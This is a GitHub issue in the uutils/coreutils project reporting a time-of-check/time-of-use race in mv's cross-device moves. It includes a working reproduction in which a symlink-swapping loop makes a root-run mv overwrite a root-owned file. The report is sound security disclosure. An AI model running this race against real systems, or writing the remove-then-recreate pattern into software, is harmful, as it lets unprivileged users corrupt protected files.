uutils/coreutils

mv copy TOCTOU Race

Closed

#10015 opened on Jan 3, 2026

View on GitHub
 (5 comments) (0 reactions) (0 assignees)Rust (23,246 stars) (1,852 forks)batch import
U - mvgood first issuereported-canonical

Description

Component

mv

Description

uutils mv has a race window between destination removal and re-creation during cross-device moves.

  • GNU: copy(src -> dest) (open/truncate) -> remove(src) — no separate unlink of dest
  • uutils: remove(dest) -> copy(src -> dest) -> remove(src)

Test / Reproduction Steps

Test with directories from two different file systems (varies depending on the specific environment; /tmp and /home are used here as examples).:

# source file, which will be "mv"
echo "PAYLOAD_FROM_SRC" > /tmp/src_file
# pseudo-sensitive files, only root can read/write
mkdir -p /home/$USER/secure
echo "ORIGINAL_SECRET" > /home/$USER/secure/victim
chmod 600 /home/$USER/secure/victim
sudo chown root:root /home/$USER/secure/victim
# target file to "mv" to
echo "PLACEHOLDER" > /home/$USER/target

user script(symlink.sh):

#!/bin/bash

while true; do
  ln -sf /home/$USER/secure/victim /home/$USER/target
done

root script(mv.sh):

#!/bin/bash

while true; do
  echo "PAYLOAD_FROM_SRC" > /tmp/src_file
  ./target/release/coreutils mv /tmp/src_file /home/$USER/target 2>/dev/null
done

reproduce:

chmod +x symlink.sh
chmod +x mv.sh
./symlink.sh
sudo ./mv.sh

After a while....

$ sudo cat /home/$USER/secure/victim
PAYLOAD_FROM_SRC

Contributor guide